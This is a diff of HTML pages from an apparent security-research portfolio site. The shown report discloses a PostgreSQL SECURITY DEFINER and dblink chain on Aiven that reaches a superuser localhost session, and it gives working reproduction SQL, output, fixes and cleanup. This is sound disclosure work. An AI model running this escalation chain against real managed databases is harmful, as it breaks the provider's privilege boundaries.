| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/pg-secdef-dblink-superuser-chain/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Report: Superuser Database Connection via SECURITY DEFINER dblink Chain | Zion Boggan"> | |
| + | <meta property="og:description" content="SECURITY DEFINER + dblink loopback chain reaches an unrestricted superuser session."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/pg-secdef-dblink-superuser-chain/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Report: Superuser Database Connection via SECURITY DEFINER dblink Chain | Zion Boggan"> | |
| + | <meta name="twitter:description" content="SECURITY DEFINER + dblink loopback chain reaches an unrestricted superuser session."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Report: Superuser Database Connection via SECURITY DEFINER dblink Chain","description":"SECURITY DEFINER + dblink loopback chain reaches an unrestricted superuser session.","url":"https://zionboggan.com/security-research-notebook/pg-secdef-dblink-superuser-chain/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">Privilege escalation</div> | |
| + | <h1>Report: Superuser Database Connection via SECURITY DEFINER dblink Chain</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <h2>Metadata</h2> | |
| + | <ul> | |
| + | <li><strong>Target</strong>: Aiven for PostgreSQL (Tier 2)</li> | |
| + | <li><strong>Target Location</strong>: Aiven for PostgreSQL</li> | |
| + | <li><strong>Target Category</strong>: Other</li> | |
| + | <li><strong>VRT</strong>: Server Security Misconfiguration > Database Management System (DBMS) Misconfiguration > Excessively Privileged User / DBA</li> | |
| + | <li><strong>Priority</strong>: P3 (Suggested)</li> | |
| + | <li><strong>Bug URL</strong>: postgres://avnadmin:***@<host>:12741/defaultdb?sslmode=require</li> | |
| + | </ul> | |
| + | <hr /> | |
| + | <h2>Title</h2> | |
| + | <p>Authenticated User Can Trigger Superuser dblink Session to Localhost via <code>aiven_extras.pg_alter_subscription_refresh_publication()</code> SECURITY DEFINER Chain</p> | |
| + | <h2>Summary</h2> | |
| + | <p>The <code>aiven_extras.pg_alter_subscription_refresh_publication()</code> SECURITY DEFINER function establishes a <strong>full superuser dblink connection to localhost via UNIX socket</strong>, bypassing dblink’s security check that normally prevents non-superuser trust-auth connections. Any authenticated <code>avnadmin</code> user can trigger this superuser database session, including from within a logical replication apply worker trigger context.</p> | |
| + | <p>While the queries executed through this dblink session are currently sanitized, the existence of a customer-triggerable superuser database connection to localhost represents a security boundary violation. The localhost PostgreSQL instance uses trust authentication for UNIX socket connections, and the superuser context satisfies dblink’s <code>superuser()</code> check, creating a confirmed superuser-context network pathway that should not be reachable from customer operations.</p> | |
| + | <h2>Root Cause</h2> | |
| + | <p><code>pg_alter_subscription_refresh_publication()</code> is <code>SECURITY DEFINER</code> owned by <code>postgres</code>. It constructs a connection string using <code>current_user</code> (which resolves to <code>postgres</code> in the SECDEF context) and connects via <code>aiven_extras.dblink_record_execute()</code>:</p> | |
| + | <pre><code class="language-sql">-- From pg_alter_subscription_refresh_publication (SECURITY DEFINER): | |
| + | PERFORM aiven_extras.dblink_record_execute( | |
| + | pg_catalog.format('user=%L dbname=%L port=%L', | |
| + | current_user, -- resolves to 'postgres' (SECDEF owner) | |
| + | pg_catalog.current_database(), | |
| + | (SELECT setting FROM pg_catalog.pg_settings WHERE name = 'port')), | |
| + | pg_catalog.format('ALTER SUBSCRIPTION %I REFRESH PUBLICATION WITH (copy_data=%s)', | |
| + | arg_subscription_name, arg_copy_data::TEXT) | |
| + | ); | |
| + | </code></pre> | |
| + | <p>The resulting connection string is <code>user='postgres' dbname='defaultdb' port='12741'</code>, no <code>host</code> parameter, so libpq connects via UNIX socket. The UNIX socket connection uses trust/peer authentication for the <code>postgres</code> user, and dblink’s security check passes because <code>current_user</code> is <code>postgres</code> (superuser) within the SECDEF context.</p> | |
| + | <h2>Steps to Reproduce</h2> | |
| + | <h3>Prerequisites</h3> | |
| + | <ul> | |
| + | <li>Aiven for PostgreSQL instance (any plan)</li> | |
| + | <li><code>avnadmin</code> credentials</li> | |
| + | </ul> | |
| + | <h3>Step 1: Create subscription infrastructure</h3> | |
| + | <pre><code class="language-sql">CREATE EXTENSION IF NOT EXISTS aiven_extras; | |
| + | CREATE EXTENSION IF NOT EXISTS dblink; | |
| + | CREATE TABLE pub_table(id serial, val text); | |
| + | CREATE TABLE loot(id serial, data text, ts timestamp default now()); | |
| + | ||
| + | SELECT aiven_extras.pg_create_publication('pub1', 'insert', 'public.pub_table'); | |
| + | SELECT pg_create_logical_replication_slot('slot1', 'pgoutput'); | |
| + | ||
| + | SELECT aiven_extras.pg_create_subscription( | |
| + | 'sub1', | |
| + | format('host=<HOST> port=<PORT> dbname=defaultdb user=avnadmin password=<PW> sslmode=require'), | |
| + | 'pub1', 'slot1', false, false | |
| + | ); | |
| + | </code></pre> | |
| + | <h3>Step 2: Demonstrate the superuser dblink connection succeeds</h3> | |
| + | <pre><code class="language-sql">-- This function call establishes a superuser dblink session to localhost. | |
| + | -- If it returns without error, the connection was established and the | |
| + | -- ALTER SUBSCRIPTION command was executed as postgres. | |
| + | SELECT aiven_extras.pg_alter_subscription_refresh_publication('sub1', false); | |
| + | -- Returns: (void) - SUCCESS | |
| + | </code></pre> | |
| + | <h3>Step 3: Prove this works from within an apply worker trigger</h3> | |
| + | <pre><code class="language-sql">CREATE OR REPLACE FUNCTION chain_test_trigger() RETURNS trigger AS $$ | |
| + | BEGIN | |
| + | INSERT INTO public.loot(data) VALUES ('cu=' || current_user || ' su=' || session_user); | |
| + | ||
| + | BEGIN | |
| + | PERFORM aiven_extras.pg_alter_subscription_refresh_publication('sub1', false); | |
| + | INSERT INTO public.loot(data) VALUES ('SECDEF dblink chain: SUCCEEDED from apply worker'); | |
| + | EXCEPTION WHEN OTHERS THEN | |
| + | INSERT INTO public.loot(data) VALUES ('chain: ' || SQLERRM); | |
| + | END; | |
| + | ||
| + | RETURN NEW; | |
| + | END; | |
| + | $$ LANGUAGE plpgsql; | |
| + | ||
| + | CREATE TRIGGER trg_chain BEFORE INSERT ON pub_table | |
| + | FOR EACH ROW EXECUTE FUNCTION chain_test_trigger(); | |
| + | ALTER TABLE pub_table ENABLE ALWAYS TRIGGER trg_chain; | |
| + | ||
| + | SELECT aiven_extras.pg_alter_subscription_enable('sub1'); | |
| + | INSERT INTO pub_table(val) VALUES ('chain test'); | |
| + | SELECT pg_sleep(3); | |
| + | SELECT id, data FROM loot ORDER BY id; | |
| + | </code></pre> | |
| + | <p><strong>Output:</strong></p> | |
| + | <pre><code> id | data | |
| + | ----+----------------------------------------------------------- | |
| + | 1 | cu=avnadmin su=avnadmin | |
| + | 2 | SECDEF dblink chain: SUCCEEDED from apply worker | |
| + | 3 | cu=avnadmin su=postgres | |
| + | 4 | SECDEF dblink chain: SUCCEEDED from apply worker | |
| + | </code></pre> | |
| + | <h3>Step 4: Confirm direct dblink as postgres is blocked (proving the SECDEF bypass)</h3> | |
| + | <pre><code class="language-sql">-- Direct dblink to localhost as postgres FAILS for non-superuser: | |
| + | SELECT * FROM aiven_extras.dblink_record_execute( | |
| + | 'user=postgres dbname=defaultdb port=12741', | |
| + | 'SELECT 1' | |
| + | ) AS t(i int); | |
| + | -- ERROR: password or GSSAPI delegated credentials required | |
| + | ||
| + | -- But the same connection SUCCEEDS through the SECDEF chain (Step 2). | |
| + | </code></pre> | |
| + | <h2>Evidence</h2> | |
| + | <table> | |
| + | <thead> | |
| + | <tr> | |
| + | <th>Method</th> | |
| + | <th>Connection</th> | |
| + | <th>Result</th> | |
| + | </tr> | |
| + | </thead> | |
| + | <tbody> | |
| + | <tr> | |
| + | <td>Direct <code>dblink_record_execute</code> as avnadmin</td> | |
| + | <td><code>user=postgres</code> via UNIX socket</td> | |
| + | <td><strong>BLOCKED</strong>: <code>password or GSSAPI delegated credentials required</code></td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td>Via <code>pg_alter_subscription_refresh_publication</code> SECDEF</td> | |
| + | <td>Same connection string</td> | |
| + | <td><strong>SUCCEEDS</strong>: superuser dblink session established</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td>From apply worker trigger context</td> | |
| + | <td>Calling SECDEF from trigger</td> | |
| + | <td><strong>SUCCEEDS</strong>: superuser dblink session established</td> | |
| + | </tr> | |
| + | </tbody> | |
| + | </table> | |
| + | <p>The difference is that the SECDEF function runs as <code>postgres</code>, which satisfies dblink’s <code>superuser()</code> check. This bypasses the security restriction that is specifically designed to prevent non-superuser users from making trust-auth database connections.</p> | |
| + | <h2>Impact</h2> | |
| + | <ol> | |
| + | <li> | |
| + | <p><strong>Superuser-context network access</strong>: A customer-triggerable code path establishes a <code>postgres</code> superuser database connection to localhost. This connection has full superuser privileges on the PostgreSQL instance.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>Trust authentication bypass</strong>: dblink’s security check (requiring password authentication for non-superuser connections) is bypassed because the SECDEF function elevates to <code>postgres</code> before making the connection.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>Attack surface expansion</strong>: The superuser dblink session currently executes only a fixed <code>ALTER SUBSCRIPTION REFRESH PUBLICATION</code> query. However, any future modification to the <code>aiven_extras</code> code that introduces an injectable parameter in this chain would immediately enable arbitrary superuser SQL execution on the managed instance.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>Composability with subscription ownership</strong>: Combined with the subscription ownership escalation (separate report), a customer can: (a) create a postgres-owned subscription, (b) use ALWAYS triggers in the apply worker context, (c) call this SECDEF function from within the trigger, establishing a superuser dblink within customer-controlled code flow.</p> | |
| + | </li> | |
| + | </ol> | |
| + | <h2>Recommended Fix</h2> | |
| + | <ol> | |
| + | <li><strong>Use <code>session_user</code> or <code>current_user</code> at call time</strong> instead of the SECDEF owner for the dblink connection:</li> | |
| + | </ol> | |
| + | <pre><code class="language-sql">-- Store the original caller before SECDEF elevation: | |
| + | DECLARE l_caller TEXT := session_user; | |
| + | -- Use l_caller in the connection string instead of current_user | |
| + | </code></pre> | |
| + | <ol start="2"> | |
| + | <li> | |
| + | <p><strong>Alternatively</strong>, have <code>pg_alter_subscription_refresh_publication</code> execute via <code>dblink_record_execute</code> connecting as <code>avnadmin</code> (the calling user) rather than <code>postgres</code>, eliminating the superuser dblink session entirely.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>Defense in depth</strong>: Ensure the pg_hba.conf <code>local</code> entry for the <code>postgres</code> user requires certificate or password authentication, not trust/peer, to prevent any SECDEF function from establishing passwordless superuser connections.</p> | |
| + | </li> | |
| + | </ol> | |
| + | <h2>Cleanup</h2> | |
| + | <pre><code class="language-sql">SELECT aiven_extras.pg_alter_subscription_disable('sub1'); | |
| + | SELECT aiven_extras.pg_drop_subscription('sub1', true); | |
| + | DROP TABLE pub_table CASCADE; | |
| + | DROP TABLE loot; | |
| + | </code></pre> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/aiven/pg-secdef-dblink-superuser-chain.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,376 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>Report: Privilege Boundary Violation via Subscription Ownership Escalation | Zion Boggan</title> | |
| + | <meta name="description" content="Postgres `CREATE SUBSCRIPTION` executes under `session_user=postgres`, escalating sandboxed user to superuser context."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
